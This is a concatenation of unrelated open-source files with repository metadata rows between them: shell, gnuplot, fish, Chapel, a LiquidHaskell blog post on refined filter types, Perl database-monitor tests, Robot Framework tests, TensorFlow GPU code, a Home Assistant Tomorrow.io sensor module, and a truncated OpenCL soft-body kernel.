mv plots/muon/pos_Entryz-Exitz_T*.eps.gz $WWWDIR/eps/TK-strips/Entryz-Exitz
mv plots/muon/pos_Localy_T*.eps.gz $WWWDIR/eps/TK-strips/Localy
mv plots/muon/pos_Localx_T*.eps.gz $WWWDIR/eps/TK-strips/Localx
mv plots/muon/eloss_*PIX_KS*.eps.gz $WWWDIR/eps/TK-pixels/eloss
mv plots/muon/pos_Entryx-Exitx_*PIX*.eps.gz $WWWDIR/eps/TK-pixels/Entryx-Exitx
mv plots/muon/pos_Entryy-Exity_*PIX*.eps.gz $WWWDIR/eps/TK-pixels/Entryy-Exity
mv plots/muon/pos_Entryz-Exitz_*PIX*.eps.gz $WWWDIR/eps/TK-pixels/Entryz-Exitz
mv plots/muon/pos_Localy_*PIX*.eps.gz $WWWDIR/eps/TK-pixels/Localy
mv plots/muon/pos_Localx_*PIX*.eps.gz $WWWDIR/eps/TK-pixels/Localx
mv plots/muon/Tof.eps.gz $WWWDIR/eps/ToF/
mv plots/muon/*summary*.eps.gz $WWWDIR/eps/TK-summary
mv plots/muon/eloss_T*_KS*.gif $WWWDIR/gif/TK-strips/eloss
mv plots/muon/pos_Entryx-Exitx_T*.gif $WWWDIR/gif/TK-strips/Entryx-Exitx
mv plots/muon/pos_Entryy-Exity_T*.gif $WWWDIR/gif/TK-strips/Entryy-Exity
mv plots/muon/pos_Entryz-Exitz_T*.gif $WWWDIR/gif/TK-strips/Entryz-Exitz
mv plots/muon/pos_Localy_T*.gif $WWWDIR/gif/TK-strips/Localy
mv plots/muon/pos_Localx_T*.gif $WWWDIR/gif/TK-strips/Localx
mv plots/muon/eloss_*PIX_KS*.gif $WWWDIR/gif/TK-pixels/eloss
mv plots/muon/pos_Entryx-Exitx_*PIX*.gif $WWWDIR/gif/TK-pixels/Entryx-Exitx
mv plots/muon/pos_Entryy-Exity_*PIX*.gif $WWWDIR/gif/TK-pixels/Entryy-Exity
mv plots/muon/pos_Entryz-Exitz_*PIX*.gif $WWWDIR/gif/TK-pixels/Entryz-Exitz
mv plots/muon/pos_Localy_*PIX*.gif $WWWDIR/gif/TK-pixels/Localy
mv plots/muon/pos_Localx_*PIX*.gif $WWWDIR/gif/TK-pixels/Localx
mv plots/muon/Tof.gif $WWWDIR/gif/ToF/
mv plots/muon/*summary*.gif $WWWDIR/gif/TK-summary
echo "...Done..."
| Tcsh | 3 | ckamtsikis/cmssw | Validation/TrackerHits/test/copyWWWall.csh | [
"Apache-2.0"
] |
set title 'Checksum performance (lower is better)'
set ylabel 'Time in ms'
set xlabel 'Batch'
set grid # Show the grid
set term png
set output 'iteration_1.png'
plot \
'iteration_1.csv' title "iteration_1", 100 title 'Napkin math lower bound iteration_1.' lw 3 lc 'red' | Gnuplot | 3 | epk/napkin-math | newsletter/14-syncing/iteration_1.gnuplot | [
"MIT"
] |
echo pyon pyon
function ponyo_install --on-event ponyo_install
set --global ponyo pyon pyon
end
function ponyo_update --on-event ponyo_update
set --global --append ponyo pyon
end
function ponyo_uninstall --on-event ponyo_uninstall
set --erase ponyo
end | fish | 3 | kenchou/fisher | tests/ponyo/conf.d/ponyo.fish | [
"MIT"
] |
begin {
for i in 1..10 do
writeln("Hi there!");
writeln("Oh, I forgot to say something!");
}
begin sayHiBack();
for i in 1..10 do
writeln("Goodbye...");
proc sayHiBack() {
for i in 1..10 do
writeln("Well, hello to you too!");
}
| Chapel | 3 | jhh67/chapel | test/release/examples/users-guide/taskpar/beginBiggerStatements.chpl | [
"ECL-2.0",
"Apache-2.0"
] |
---
layout: post
title: "A Finer Filter"
date: 2014-08-15 16:12
author: Ranjit Jhala
published: true
comments: true
external-url:
categories: abstract-refinements
demo: filter.hs
---
This morning, I came across this [nice post](https://twitter.com/ertesx/status/500034598042996736) which describes how one can write a very expressive type for
`filter` using [singletons](https://hackage.haskell.org/package/singletons).
Lets see how one might achieve this with [abstract refinements][absref].
<!-- more -->
<div class="hidden">
\begin{code}
{-@ LIQUID "--short-names" @-}
module Filter (filter) where
import Prelude hiding (filter)
import Data.Set (Set)
import Prelude hiding (filter)
isPos, isEven, isOdd :: Int -> Maybe Int
filter, filter3 :: (a -> Maybe a) -> [a] -> [a]
{-@ measure elts :: [a] -> (Set a)
elts ([]) = {v | Set_emp v }
elts (x:xs) = {v | v = Set_cup (Set_sng x) (elts xs) }
@-}
\end{code}
</div>
Goal
----
What we're after is a way to write a `filter` function such that:
\begin{code}
{-@ getPoss :: [Int] -> [Pos] @-}
getPoss = filter isPos
{-@ getEvens :: [Int] -> [Even] @-}
getEvens = filter isEven
{-@ getOdds :: [Int] -> [Odd] @-}
getOdds = filter isOdd
\end{code}
where `Pos`, `Even` and `Odd` are just subsets of `Int`:
\begin{code}
{-@ type Pos = {v:Int| 0 < v} @-}
{-@ type Even = {v:Int| v mod 2 == 0} @-}
{-@ type Odd = {v:Int| v mod 2 /= 0} @-}
\end{code}
Take 1: Map, maybe?
-------------------
Bowing to the anti-boolean sentiment currently in the air, lets eschew
the classical approach where the predicates (`isPos` etc.) return `True`
or `False` and instead implement `filter` using a map.
\begin{code}
filter1 :: (a -> Maybe b) -> [a] -> [b]
filter1 f [] = []
filter1 f (x:xs) = case f x of
Just y -> y : filter1 f xs
Nothing -> filter1 f xs
\end{code}
To complete the picture, we need just define the predicates as
functions returning a `Maybe`:
\begin{code}
{- isPos :: Int -> Maybe Pos @-}
isPos x
| x > 0 = Just x
| otherwise = Nothing
{- isEven :: Int -> Maybe Even @-}
isEven x
| x `mod` 2 == 0 = Just x
| otherwise = Nothing
{- isOdd :: Int -> Maybe Odd @-}
isOdd x
| x `mod` 2 /= 0 = Just x
| otherwise = Nothing
\end{code}
and now, we can achieve our goal!
\begin{code}
{-@ getPoss1 :: [Int] -> [Pos] @-}
getPoss1 = filter1 isPos
{-@ getEvens1 :: [Int] -> [Even] @-}
getEvens1 = filter1 isEven
{-@ getOdds1 :: [Int] -> [Odd] @-}
getOdds1 = filter1 isOdd
\end{code}
**The Subset Guarantee**
Well that was easy! Or was it?
I fear we've *cheated* a little bit.
One of the nice things about the *classical* `filter` is that by eyeballing
the signature:
\begin{spec}
filter :: (a -> Bool) -> [a] -> [a]
\end{spec}
we are guaranteed, via parametricity, that the output list's elements are
a *subset of* the input list's elements. The signature for our new-fangled
\begin{spec}
filter1 :: (a -> Maybe b) -> [a] -> [b]
\end{spec}
yields no such guarantee!
In this case, things work out, because in each case, LiquidHaskell *instantiates*
the type variables `a` and `b` in the signature of `filter1` suitably:
* In `getPoss ` LH instantiates `a := Int` and `b := Pos`
* In `getEvens` LH instantiates `a := Int` and `b := Even`
* In `getOdds ` LH instantiates `a := Int` and `b := Odd`
(Hover over the different instances of `filter1` above to confirm this.)
But in general, we'd rather *not* lose the nice "subset" guarantee that the
classical `filter` provides.
Take 2: One Type Variable
-------------------------
Easy enough! Why do we need *two* type variables anyway?
\begin{code}
filter2 :: (a -> Maybe a) -> [a] -> [a]
filter2 f [] = []
filter2 f (x:xs) = case f x of
Just y -> y : filter2 f xs
Nothing -> filter2 f xs
\end{code}
There! Now the `f` is forced to take or leave its input `x`,
and so we can breathe easy knowing that `filter2` returns a
subset of its inputs.
But...
\begin{code}
{-@ getPoss2 :: [Int] -> [Pos] @-}
getPoss2 = filter2 isPos
{-@ getEvens2 :: [Int] -> [Even] @-}
getEvens2 = filter2 isEven
{-@ getOdds2 :: [Int] -> [Odd] @-}
getOdds2 = filter2 isOdd
\end{code}
Yikes, LH is not impressed -- the red highlight indicates that LH is not
convinced that the functions have the specified types.
Perhaps you know why already?
Since we used **the same** type variable `a` for *both* the
input *and* output, LH must instantiate `a` with a type that
matches *both* the input and output, i.e. is a *super-type*
of both, which is simply `Int` in all the cases.
Consequently, we get the errors above -- "expected `Pos` but got `Int`".
Take 3: Add Abstract Refinement
-------------------------------
What we need is a generic way of specifying that the
output of the predicate is not just an `a` but an `a`
that *also* enjoys whatever property we are filtering for.
This sounds like a job for [abstract refinements][absref] which
let us parameterize a signature over its refinements:
\begin{code}
{-@ filter3 :: forall a <p :: a -> Prop>.
(a -> Maybe a<p>) -> [a] -> [a<p>] @-}
filter3 f [] = []
filter3 f (x:xs) = case f x of
Just x' -> x' : filter3 f xs
Nothing -> filter3 f xs
\end{code}
Now, we've **decoupled** the filter-property from the type variable `a`.
The input still is a mere `a`, but the output is an `a` with bells on,
specifically, which satisfies the (abstract) refinement `p`.
Voila!
\begin{code}
{-@ getPoss3 :: [Int] -> [Pos] @-}
getPoss3 = filter3 isPos
{-@ getEvens3 :: [Int] -> [Even] @-}
getEvens3 = filter3 isEven
{-@ getOdds3 :: [Int] -> [Odd] @-}
getOdds3 = filter3 isOdd
\end{code}
Now, LH happily accepts each of the above.
At each *use* of `filter` LH separately *instantiates* the `a` and
the `p`. In each case, the `a` is just `Int` but the `p` is instantiated as:
+ In `getPoss ` LH instantiates `p := \v -> 0 <= v`
+ In `getEvens` LH instantiates `p := \v -> v mod 2 == 0`
+ In `getOdds ` LH instantiates `p := \v -> v mod 2 /= 0`
That is, in each case, LH instantiates `p` with the refinement that describes
the output type we are looking for.
**Edit:** At this point, I was ready to go to bed, and so happily
declared victory and turned in. The next morning, [mypetclone](http://www.reddit.com/r/haskell/comments/2dozs5/liquidhaskell_a_finer_filter/cjrrx3y)
graciously pointed out my folly: the signature for `filter3` makes no guarantees
about the subset property. In fact,
\begin{code}
doubles = filter3 (\x -> Just (x + x))
\end{code}
typechecks just fine, while `doubles` clearly violates the subset property.
Take 4:
-------
I suppose the moral is that it may be tricky -- for me at least! -- to read more into
a type than what it *actually says*. Fortunately, with refinements, our types can say
quite a lot.
In particular, lets make the subset property explicit, by
1. Requiring the predicate return its input (or nothing), and,
2. Ensuring the output is indeed a subset of the inputs.
\begin{code}
{-@ filter :: forall a <p :: a -> Prop>.
(x:a -> Maybe {v:a<p> | v = x})
-> xs:[a]
-> {v:[a<p>] | Set_sub (elts v) (elts xs)} @-}
filter f [] = []
filter f (x:xs) = case f x of
Just x' -> x' : filter f xs
Nothing -> filter f xs
\end{code}
where `elts` describes the [set of elements in a list][sets].
**Note:** The *implementation* of each of the above `filter` functions are
the same; they only differ in their type *specification*.
Conclusion
----------
And so, using abstract refinements, we've written a `filter` whose signature guarantees:
* The outputs must be a *subset* of the inputs, and
* The outputs indeed satisfy the property being filtered for.
Another thing that I've learnt from this exercise, is that the old
school `Boolean` approach has its merits. Take a look at the clever
"latent predicates" technique of [Tobin-Hochstadt and Felleisen][racket]
or this lovely new [paper by Kaki and Jagannathan][catalyst] which
shows how refinements can be further generalized to make Boolean filters fine.
[sets]: /blog/2013/03/26/talking-about-sets.lhs/
[absref]: /blog/2013/06/03/abstracting-over-refinements.lhs/
[racket]: http://www.ccs.neu.edu/racket/pubs/popl08-thf.pdf
[catalyst]: http://gowthamk.github.io/docs/icfp77-kaki.pdf
| Literate Haskell | 5 | curiousleo/liquidhaskell | docs/blog/2014-08-15-a-finer-filter.lhs | [
"MIT",
"BSD-3-Clause"
] |
*** Settings ***
Documentation Example test cases using the keyword-driven testing approach.
...
... All tests contain a workflow constructed from keywords in
... `CalculatorLibrary`. Creating new tests or editing existing
... is easy even for people without programming skills.
...
... This kind of style works well for normal test automation.
... If also business people need to understand tests, using
... _gherkin_ style may work better.
Library CalculatorLibrary
*** Test Cases ***
Push button
Push button 1
Result should be 1
Push multiple buttons
Push button 1
Push button 2
Result should be 12
Simple calculation
Push button 1
Push button +
Push button 2
Push button =
Result should be 3
Longer calculation
Push buttons 5 + 4 - 3 * 2 / 1 =
Result should be 3
Clear
Push button 1
Push button C
Result should be ${EMPTY} # ${EMPTY} is a built-in variable
| RobotFramework | 4 | JavascriptID/sourcerer-app | src/test/resources/samples/langs/RobotFramework/keyword_driven.robot | [
"MIT"
] |
use Datascope;
use Datascope::dbmon;
sub newrow {
my( @db ) = splice( @_, 0, 4 );
my( $table, $irecord, $sync, $fhref ) = @_;
$row = dbget( @db );
printf $fhref "New Row $irecord in '$table' [sync '$sync']: $row\n";
return;
}
sub delrow {
my( @db ) = splice( @_, 0, 4 );
my( $table, $sync, $fhref ) = @_;
printf $fhref "Deleted row from '$table' with sync '$sync'\n";
return;
}
sub querysyncs {
my( @db ) = splice( @_, 0, 4 );
my( $table, $fhref ) = @_;
my( $sync );
my( @syncs ) = ();
print $fhref "Resynchronizing table '$table'\n";
if( dbquery( @db, dbTABLE_PRESENT ) ) {
$db[3] = 0;
$sync = dbmon_compute_row_sync( @db );
push( @syncs, $sync );
}
return @syncs;
}
$Program_name = $0;
$Program_name =~ s".*/"";
elog_init( $Program_name, @ARGV );
$hookname = "ahook";
if( scalar( @ARGV ) != 2 ) {
elog_die( 0, "Usage: $Program_name dbname statusfile\n" );
} else {
$dbname = $ARGV[0];
$statusfile = $ARGV[1];
}
@db = dbopen_database( $dbname, "r" );
$fh = \*STDOUT;
@tables = ( "affiliation", "arrival" );
dbmon_init( @db, $hookname, \&newrow, \&delrow, \&querysyncs, @tables );
dbmon_resync( $hookname, $fh );
dbmon_update( $hookname, $fh );
printf STDOUT "Adding new arrival table:\n";
system( "cp data/mod.new.demo.arrival results/dbmon_sync/demo.arrival" );
sleep( 1 );
dbmon_update( $hookname, $fh );
printf STDOUT "Shortening arrival table:\n";
system( "cp data/mod.shorter.demo.arrival results/dbmon_sync/demo.arrival" );
sleep( 1 );
dbmon_update( $hookname, $fh );
printf STDOUT "Lengthening arrival table:\n";
system( "cp data/mod.longer.demo.arrival results/dbmon_sync/demo.arrival" );
sleep( 1 );
dbmon_update( $hookname, $fh );
dbmon_status( $statusfile, $hookname );
elog_flush( 1, 0 );
dbclose( @db );
exit( 0 );
| XProc | 3 | jreyes1108/antelope_contrib | nobuild/lib/perl/dbmon/certify/try_dbmon_resync.xpl | [
"BSD-2-Clause",
"MIT"
] |
#lang scribble/manual
@begin[(require "../utils.rkt")
(require (for-label (only-meta-in 0 [except-in typed/racket for])))]
@title{Typed Racket Syntax Without Type Checking}
@defmodulelang*[(typed/racket/no-check
typed/racket/base/no-check)]
On occasions where the Typed Racket syntax is useful, but actual
typechecking is not desired, the @racketmodname[typed/racket/no-check]
and @racketmodname[typed/racket/base/no-check] languages are useful.
They provide the same bindings and syntax as
@racketmodname[typed/racket] and @racketmodname[typed/racket/base],
but do no type checking.
Examples:
@racketmod[typed/racket/no-check
(: x Number)
(define x "not-a-number")]
| Racket | 4 | SnapCracklePopGone/typed-racket | typed-racket-doc/typed-racket/scribblings/reference/no-check.scrbl | [
"Apache-2.0",
"MIT"
] |
/* Copyright 2015 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
#if GOOGLE_CUDA || TENSORFLOW_USE_ROCM
#define EIGEN_USE_GPU
#include "tensorflow/core/kernels/reverse_op.h"
#include "tensorflow/core/framework/register_types.h"
namespace tensorflow {
typedef Eigen::GpuDevice GPUDevice;
#define DEFINE_REVERSE(T, DIM) \
template struct functor::Reverse<GPUDevice, T, DIM>;
#define DEFINE_REVERSE_ALL_DIMS(T) \
DEFINE_REVERSE(T, 0) \
DEFINE_REVERSE(T, 1) \
DEFINE_REVERSE(T, 2) \
DEFINE_REVERSE(T, 3) \
DEFINE_REVERSE(T, 4) \
DEFINE_REVERSE(T, 5) \
DEFINE_REVERSE(T, 6) \
DEFINE_REVERSE(T, 7) \
DEFINE_REVERSE(T, 8)
TF_CALL_uint8(DEFINE_REVERSE_ALL_DIMS);
TF_CALL_int8(DEFINE_REVERSE_ALL_DIMS);
TF_CALL_GPU_ALL_TYPES(DEFINE_REVERSE_ALL_DIMS);
#undef DEFINE_REVERSE
#undef DEFINE_REVERSE_ALL_DIMS
} // namespace tensorflow
#endif // GOOGLE_CUDA || TENSORFLOW_USE_ROCM
| C++ | 3 | yage99/tensorflow | tensorflow/core/kernels/reverse_op_gpu.cu.cc | [
"Apache-2.0"
] |
(
echo native
echo fake-always-fails
if [ -z "$NO_SLOW_TESTS" ]; then
IFS=:
for dir in $PATH; do
for d in "$dir"/*-cc "$dir"/*-gcc; do
base=${d##*/}
arch=${base%-*}
if [ -x "$d" ]; then echo "$arch"; fi
done
done
fi
) >$3
redo-always
redo-stamp <$3
| Stata | 3 | BlameJohnny/redo | docs/cookbook/c/arches.do | [
"Apache-2.0"
] |
"""Sensor component that handles additional Tomorrowio data for your location."""
from __future__ import annotations
from abc import abstractmethod
from collections.abc import Callable
from dataclasses import dataclass
from typing import Any
from pytomorrowio.const import (
HealthConcernType,
PollenIndex,
PrecipitationType,
PrimaryPollutantType,
)
from homeassistant.components.sensor import (
SensorDeviceClass,
SensorEntity,
SensorEntityDescription,
)
from homeassistant.config_entries import ConfigEntry
from homeassistant.const import (
ATTR_ATTRIBUTION,
CONCENTRATION_MICROGRAMS_PER_CUBIC_METER,
CONCENTRATION_PARTS_PER_MILLION,
CONF_API_KEY,
CONF_NAME,
IRRADIATION_BTUS_PER_HOUR_SQUARE_FOOT,
IRRADIATION_WATTS_PER_SQUARE_METER,
LENGTH_KILOMETERS,
LENGTH_METERS,
LENGTH_MILES,
PERCENTAGE,
PRESSURE_HPA,
SPEED_METERS_PER_SECOND,
SPEED_MILES_PER_HOUR,
TEMP_CELSIUS,
)
from homeassistant.core import HomeAssistant
from homeassistant.helpers.entity_platform import AddEntitiesCallback
from homeassistant.util import slugify
from homeassistant.util.distance import convert as distance_convert
from . import TomorrowioDataUpdateCoordinator, TomorrowioEntity
from .const import (
DOMAIN,
TMRW_ATTR_CARBON_MONOXIDE,
TMRW_ATTR_CHINA_AQI,
TMRW_ATTR_CHINA_HEALTH_CONCERN,
TMRW_ATTR_CHINA_PRIMARY_POLLUTANT,
TMRW_ATTR_CLOUD_BASE,
TMRW_ATTR_CLOUD_CEILING,
TMRW_ATTR_CLOUD_COVER,
TMRW_ATTR_DEW_POINT,
TMRW_ATTR_EPA_AQI,
TMRW_ATTR_EPA_HEALTH_CONCERN,
TMRW_ATTR_EPA_PRIMARY_POLLUTANT,
TMRW_ATTR_FEELS_LIKE,
TMRW_ATTR_FIRE_INDEX,
TMRW_ATTR_NITROGEN_DIOXIDE,
TMRW_ATTR_OZONE,
TMRW_ATTR_PARTICULATE_MATTER_10,
TMRW_ATTR_PARTICULATE_MATTER_25,
TMRW_ATTR_POLLEN_GRASS,
TMRW_ATTR_POLLEN_TREE,
TMRW_ATTR_POLLEN_WEED,
TMRW_ATTR_PRECIPITATION_TYPE,
TMRW_ATTR_PRESSURE_SURFACE_LEVEL,
TMRW_ATTR_SOLAR_GHI,
TMRW_ATTR_SULPHUR_DIOXIDE,
TMRW_ATTR_WIND_GUST,
)
@dataclass
class TomorrowioSensorEntityDescription(SensorEntityDescription):
"""Describes a Tomorrow.io sensor entity."""
unit_imperial: str | None = None
unit_metric: str | None = None
multiplication_factor: Callable[[float], float] | float | None = None
imperial_conversion: Callable[[float], float] | float | None = None
value_map: Any | None = None
def __post_init__(self) -> None:
"""Handle post init."""
if (self.unit_imperial is None and self.unit_metric is not None) or (
self.unit_imperial is not None and self.unit_metric is None
):
raise ValueError(
"Entity descriptions must include both imperial and metric units or "
"they must both be None"
)
# From https://cfpub.epa.gov/ncer_abstracts/index.cfm/fuseaction/display.files/fileID/14285
# x ug/m^3 = y ppb * molecular weight / 24.45
def convert_ppb_to_ugm3(molecular_weight: int | float) -> Callable[[float], float]:
"""Return function to convert ppb to ug/m^3."""
return lambda x: (x * molecular_weight) / 24.45
SENSOR_TYPES = (
TomorrowioSensorEntityDescription(
key=TMRW_ATTR_FEELS_LIKE,
name="Feels Like",
native_unit_of_measurement=TEMP_CELSIUS,
device_class=SensorDeviceClass.TEMPERATURE,
),
TomorrowioSensorEntityDescription(
key=TMRW_ATTR_DEW_POINT,
name="Dew Point",
native_unit_of_measurement=TEMP_CELSIUS,
device_class=SensorDeviceClass.TEMPERATURE,
),
# Data comes in as inHg
TomorrowioSensorEntityDescription(
key=TMRW_ATTR_PRESSURE_SURFACE_LEVEL,
name="Pressure (Surface Level)",
native_unit_of_measurement=PRESSURE_HPA,
device_class=SensorDeviceClass.PRESSURE,
),
# Data comes in as BTUs/(hr * ft^2)
# https://www.theunitconverter.com/watt-square-meter-to-btu-hour-square-foot-conversion/
TomorrowioSensorEntityDescription(
key=TMRW_ATTR_SOLAR_GHI,
name="Global Horizontal Irradiance",
unit_imperial=IRRADIATION_BTUS_PER_HOUR_SQUARE_FOOT,
unit_metric=IRRADIATION_WATTS_PER_SQUARE_METER,
imperial_conversion=(1 / 3.15459),
),
# Data comes in as miles
TomorrowioSensorEntityDescription(
key=TMRW_ATTR_CLOUD_BASE,
name="Cloud Base",
unit_imperial=LENGTH_MILES,
unit_metric=LENGTH_KILOMETERS,
imperial_conversion=lambda val: distance_convert(
val, LENGTH_KILOMETERS, LENGTH_MILES
),
),
# Data comes in as miles
TomorrowioSensorEntityDescription(
key=TMRW_ATTR_CLOUD_CEILING,
name="Cloud Ceiling",
unit_imperial=LENGTH_MILES,
unit_metric=LENGTH_KILOMETERS,
imperial_conversion=lambda val: distance_convert(
val, LENGTH_KILOMETERS, LENGTH_MILES
),
),
TomorrowioSensorEntityDescription(
key=TMRW_ATTR_CLOUD_COVER,
name="Cloud Cover",
native_unit_of_measurement=PERCENTAGE,
),
# Data comes in as MPH
TomorrowioSensorEntityDescription(
key=TMRW_ATTR_WIND_GUST,
name="Wind Gust",
unit_imperial=SPEED_MILES_PER_HOUR,
unit_metric=SPEED_METERS_PER_SECOND,
imperial_conversion=lambda val: distance_convert(
val, LENGTH_METERS, LENGTH_MILES
)
* 3600,
),
TomorrowioSensorEntityDescription(
key=TMRW_ATTR_PRECIPITATION_TYPE,
name="Precipitation Type",
value_map=PrecipitationType,
device_class="tomorrowio__precipitation_type",
icon="mdi:weather-snowy-rainy",
),
# Data comes in as ppb
# Molecular weight of Ozone is 48
TomorrowioSensorEntityDescription(
key=TMRW_ATTR_OZONE,
name="Ozone",
native_unit_of_measurement=CONCENTRATION_MICROGRAMS_PER_CUBIC_METER,
multiplication_factor=convert_ppb_to_ugm3(48),
device_class=SensorDeviceClass.OZONE,
),
TomorrowioSensorEntityDescription(
key=TMRW_ATTR_PARTICULATE_MATTER_25,
name="Particulate Matter < 2.5 μm",
native_unit_of_measurement=CONCENTRATION_MICROGRAMS_PER_CUBIC_METER,
device_class=SensorDeviceClass.PM25,
),
TomorrowioSensorEntityDescription(
key=TMRW_ATTR_PARTICULATE_MATTER_10,
name="Particulate Matter < 10 μm",
native_unit_of_measurement=CONCENTRATION_MICROGRAMS_PER_CUBIC_METER,
device_class=SensorDeviceClass.PM10,
),
# Data comes in as ppb
# Molecular weight of Nitrogen Dioxide is 46.01
TomorrowioSensorEntityDescription(
key=TMRW_ATTR_NITROGEN_DIOXIDE,
name="Nitrogen Dioxide",
native_unit_of_measurement=CONCENTRATION_MICROGRAMS_PER_CUBIC_METER,
multiplication_factor=convert_ppb_to_ugm3(46.01),
device_class=SensorDeviceClass.NITROGEN_DIOXIDE,
),
# Data comes in as ppb
TomorrowioSensorEntityDescription(
key=TMRW_ATTR_CARBON_MONOXIDE,
name="Carbon Monoxide",
native_unit_of_measurement=CONCENTRATION_PARTS_PER_MILLION,
multiplication_factor=1 / 1000,
device_class=SensorDeviceClass.CO,
),
# Molecular weight of Sulphur Dioxide is 64.07
TomorrowioSensorEntityDescription(
key=TMRW_ATTR_SULPHUR_DIOXIDE,
name="Sulphur Dioxide",
native_unit_of_measurement=CONCENTRATION_MICROGRAMS_PER_CUBIC_METER,
multiplication_factor=convert_ppb_to_ugm3(64.07),
device_class=SensorDeviceClass.SULPHUR_DIOXIDE,
),
TomorrowioSensorEntityDescription(
key=TMRW_ATTR_EPA_AQI,
name="US EPA Air Quality Index",
device_class=SensorDeviceClass.AQI,
),
TomorrowioSensorEntityDescription(
key=TMRW_ATTR_EPA_PRIMARY_POLLUTANT,
name="US EPA Primary Pollutant",
value_map=PrimaryPollutantType,
),
TomorrowioSensorEntityDescription(
key=TMRW_ATTR_EPA_HEALTH_CONCERN,
name="US EPA Health Concern",
value_map=HealthConcernType,
device_class="tomorrowio__health_concern",
icon="mdi:hospital",
),
TomorrowioSensorEntityDescription(
key=TMRW_ATTR_CHINA_AQI,
name="China MEP Air Quality Index",
device_class=SensorDeviceClass.AQI,
),
TomorrowioSensorEntityDescription(
key=TMRW_ATTR_CHINA_PRIMARY_POLLUTANT,
name="China MEP Primary Pollutant",
value_map=PrimaryPollutantType,
),
TomorrowioSensorEntityDescription(
key=TMRW_ATTR_CHINA_HEALTH_CONCERN,
name="China MEP Health Concern",
value_map=HealthConcernType,
device_class="tomorrowio__health_concern",
icon="mdi:hospital",
),
TomorrowioSensorEntityDescription(
key=TMRW_ATTR_POLLEN_TREE,
name="Tree Pollen Index",
value_map=PollenIndex,
device_class="tomorrowio__pollen_index",
icon="mdi:flower-pollen",
),
TomorrowioSensorEntityDescription(
key=TMRW_ATTR_POLLEN_WEED,
name="Weed Pollen Index",
value_map=PollenIndex,
device_class="tomorrowio__pollen_index",
icon="mdi:flower-pollen",
),
TomorrowioSensorEntityDescription(
key=TMRW_ATTR_POLLEN_GRASS,
name="Grass Pollen Index",
value_map=PollenIndex,
device_class="tomorrowio__pollen_index",
icon="mdi:flower-pollen",
),
TomorrowioSensorEntityDescription(
TMRW_ATTR_FIRE_INDEX,
name="Fire Index",
icon="mdi:fire",
),
)
async def async_setup_entry(
hass: HomeAssistant,
config_entry: ConfigEntry,
async_add_entities: AddEntitiesCallback,
) -> None:
"""Set up a config entry."""
coordinator = hass.data[DOMAIN][config_entry.data[CONF_API_KEY]]
entities = [
TomorrowioSensorEntity(hass, config_entry, coordinator, 4, description)
for description in SENSOR_TYPES
]
async_add_entities(entities)
def handle_conversion(
value: float | int, conversion: Callable[[float], float] | float
) -> float:
"""Handle conversion of a value based on conversion type."""
if callable(conversion):
return round(conversion(float(value)), 2)
return round(float(value) * conversion, 2)
class BaseTomorrowioSensorEntity(TomorrowioEntity, SensorEntity):
"""Base Tomorrow.io sensor entity."""
entity_description: TomorrowioSensorEntityDescription
_attr_entity_registry_enabled_default = False
def __init__(
self,
hass: HomeAssistant,
config_entry: ConfigEntry,
coordinator: TomorrowioDataUpdateCoordinator,
api_version: int,
description: TomorrowioSensorEntityDescription,
) -> None:
"""Initialize Tomorrow.io Sensor Entity."""
super().__init__(config_entry, coordinator, api_version)
self.entity_description = description
self._attr_name = f"{self._config_entry.data[CONF_NAME]} - {description.name}"
self._attr_unique_id = (
f"{self._config_entry.unique_id}_{slugify(description.name)}"
)
self._attr_extra_state_attributes = {ATTR_ATTRIBUTION: self.attribution}
if self.entity_description.native_unit_of_measurement is None:
self._attr_native_unit_of_measurement = (
description.unit_metric
if hass.config.units.is_metric
else description.unit_imperial
)
@property
@abstractmethod
def _state(self) -> int | float | None:
"""Return the raw state."""
@property
def native_value(self) -> str | int | float | None:
"""Return the state."""
state = self._state
desc = self.entity_description
if state is None:
return state
if desc.value_map is not None:
return desc.value_map(state).name.lower()
if desc.multiplication_factor is not None:
state = handle_conversion(state, desc.multiplication_factor)
# If there is an imperial conversion needed and the instance is using imperial,
# apply the conversion logic.
if (
desc.imperial_conversion
and desc.unit_imperial is not None
and desc.unit_imperial != desc.unit_metric
and not self.hass.config.units.is_metric
):
return handle_conversion(state, desc.imperial_conversion)
return state
class TomorrowioSensorEntity(BaseTomorrowioSensorEntity):
"""Sensor entity that talks to Tomorrow.io v4 API to retrieve non-weather data."""
@property
def _state(self) -> int | float | None:
"""Return the raw state."""
val = self._get_current_property(self.entity_description.key)
assert not isinstance(val, str)
return val
| Python | 5 | liangleslie/core | homeassistant/components/tomorrowio/sensor.py | [
"Apache-2.0"
] |
MSTRINGIFY(
//#define float3 float4
/*float length3(float3 a)
{
a.w = 0;
return length(a);
}
float normalize3(float3 a)
{
a.w = 0;
return normalize(a);
}*/
__kernel void
ResetNormalsAndAreasKernel(
const unsigned int numNodes,
__global float4 * g_vertexNormals,
__global float * g_vertexArea)
{
if( get_global_id(0) < numNodes )
{
g_vertexNormals[get_global_id(0)] = (float4)(0.0f, 0.0f, 0.0f, 0.0f);
g_vertexArea[get_global_id(0)] = 0.0f;
}
}
__kernel void
UpdateSoftBodiesKernel(
const unsigned int startFace,
const unsigned int numFaces,
__global int4 * g_triangleVertexIndexSet,
__global float4 * g_vertexPositions,
__global float4 * g_vertexNormals,
__global float * g_vertexArea,
__global float4 * g_triangleNormals,
__global float * g_triangleArea)
{
int faceID = get_global_id(0) + startFace;
if( get_global_id(0) < numFaces )
{
int4 triangleIndexSet = g_triangleVertexIndexSet[ faceID ];
int nodeIndex0 = triangleIndexSet.x;
int nodeIndex1 = triangleIndexSet.y;
int nodeIndex2 = triangleIndexSet.z;
float3 node0 = g_vertexPositions[nodeIndex0].xyz;
float3 node1 = g_vertexPositions[nodeIndex1].xyz;
float3 node2 = g_vertexPositions[nodeIndex2].xyz;
float3 nodeNormal0 = g_vertexNormals[nodeIndex0].xyz;
float3 nodeNormal1 = g_vertexNormals[nodeIndex1].xyz;
float3 nodeNormal2 = g_vertexNormals[nodeIndex2].xyz;
float vertexArea0 = g_vertexArea[nodeIndex0];
float vertexArea1 = g_vertexArea[nodeIndex1];
float vertexArea2 = g_vertexArea[nodeIndex2];
float3 vector0 = node1 - node0;
float3 vector1 = node2 - node0;
float3 faceNormal = cross(vector0.xyz, vector1.xyz);
float triangleArea = length(faceNormal);
